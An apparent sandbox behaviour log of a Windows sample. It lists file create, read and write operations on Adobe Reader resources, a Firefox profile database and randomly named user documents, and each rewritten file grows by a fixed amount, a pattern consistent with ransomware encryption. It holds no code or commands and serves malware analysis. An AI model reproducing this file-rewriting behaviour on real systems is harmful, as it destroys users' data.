File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sv-se\ui-strings.js, size = 2328	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_cs_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_cs_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_cs_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_cs_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nb_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nb_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nb_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nb_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\de_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\de_get.svg, size = 5693, size_out = 5693	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\de_get.svg, size = 7109	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\it_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\it_get.svg, size = 7618, size_out = 7618	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\it_get.svg, size = 9034	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt_get.svg, size = 6735, size_out = 6735	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt_get.svg, size = 8151	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-hk_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-hk_get.svg, size = 6241, size_out = 6241	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-hk_get.svg, size = 7657	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\eu-es\ui-strings.js, size = 1419, size_out = 1419	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\eu-es\ui-strings.js, size = 2835	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\nl-nl\ui-strings.js, size = 1474, size_out = 1474	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\nl-nl\ui-strings.js, size = 2890	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ui-strings.js, size = 1215, size_out = 1215	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ui-strings.js, size = 2631	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\core_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\core_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\core_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\core_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\cs-cz\ui-strings.js, size = 6768, size_out = 6768	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\cs-cz\ui-strings.js, size = 8184	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-ma\ui-strings.js, size = 7259, size_out = 7259	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-ma\ui-strings.js, size = 8675	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\pt-br\ui-strings.js, size = 6866, size_out = 6866	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\pt-br\ui-strings.js, size = 8282	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\uk-ua\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\uk-ua\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\uk-ua\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\adc_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\adc_logo.png, size = 1756, size_out = 1756	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\adc_logo.png, size = 3172	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\illustrations_retina.png, size = 7431, size_out = 7431	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\illustrations_retina.png, size = 8847	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations.png, size = 3395, size_out = 3395	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations.png, size = 4811	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview.png, size = 2464, size_out = 2464	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview.png, size = 3880	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview.png, size = 2464, size_out = 2464	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview.png, size = 3880	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\selector.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\selector.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\home-view\selector.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fi-fi\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fi-fi\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fi-fi\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pl-pl\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pl-pl\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pl-pl\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\uk-ua\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\uk-ua\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\uk-ua\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\fr-fr\ui-strings.js, size = 845, size_out = 845	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\fr-fr\ui-strings.js, size = 2261	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\css\main.css, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\css\main.css, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\css\main.css, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\da-dk\ui-strings.js, size = 2634, size_out = 2634	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\da-dk\ui-strings.js, size = 4050	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\pt-br\ui-strings.js, size = 2782, size_out = 2782	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\pt-br\ui-strings.js, size = 4198	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-BoldIt.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-BoldIt.otf, size = 32768, size_out = 32768	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-BoldIt.otf, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-BoldIt.otf, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-BoldIt.otf, size = 32768	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\SY______.PFB, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
For performance reasons, the remaining 1364 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x1164

2520

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\AccessCache.accdb, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\AccessCache.accdb, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\AccessCache.accdb, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\AccessCache.accdb, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\AccessCache.accdb, size = 32768	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\lH729p9NvtlORqAu.xlsx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\lH729p9NvtlORqAu.xlsx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\lH729p9NvtlORqAu.xlsx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\lH729p9NvtlORqAu.xlsx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\lH729p9NvtlORqAu.xlsx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\V4v0at7yeL46Y_CL.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\V4v0at7yeL46Y_CL.docx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\V4v0at7yeL46Y_CL.docx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\V4v0at7yeL46Y_CL.docx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\V4v0at7yeL46Y_CL.docx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\2-sCYYlXE1eIT.ods, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\2-sCYYlXE1eIT.ods, size = 4096, size_out = 4096	2	Fn Data
